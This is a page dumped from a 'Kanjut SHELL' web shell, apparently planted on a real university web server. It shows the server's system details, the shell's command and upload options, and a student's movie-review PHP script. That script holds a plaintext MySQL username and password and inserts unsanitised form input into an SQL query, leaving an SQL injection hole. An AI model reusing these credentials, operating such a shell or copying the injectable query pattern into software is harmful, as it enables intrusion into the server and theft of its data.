Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.219.25.226
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/brmorrison/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/brmorrison/www/movieEvalAction.php
<?php
    /* movieEvaluationAction.php */

    // Establish database connection
    $host = 'localhost';
    $user = 'brmorrison';
    $passwd = 'cs389';
    $database = 'brmorrison';
    $connect = mysqli_connect($host, $user, $passwd);

    if (!$connect) {
        die('Could not connect: ' . mysqli_error($connect));
    }

    // Select database
    mysqli_select_db($connect, $database);

    // Get form data
    $title = $_POST['title'];
    $genre = $_POST['genre'];
    $plot_rating = $_POST['plot_rating'];
    $acting_rating = $_POST['acting_rating'];
    $enjoyment_rating = $_POST['enjoyment_rating'];
    $overall_recommendation = $_POST['overall_recommendation'];

    // Insert data into database
    $query = "INSERT INTO MOVIEREVIEWS (title, genre, plot_rating, acting_rating, enjoyment_rating, overall_recommendation) VALUES ('$title', '$genre', '$plot_rating', '$acting_rating', '$enjoyment_rating', '$overall_recommendation')";

    $result = mysqli_query($connect, $query);

    if (!$result) {
        die('Query failed: ' . mysqli_error($connect));
    } else {
        // Display a success message
        echo "<p>Thank you for your review!</p>";
	include("display4.php");
    }

    // Close connection
    mysqli_close($connect);
?>


Stv3n404 - 2023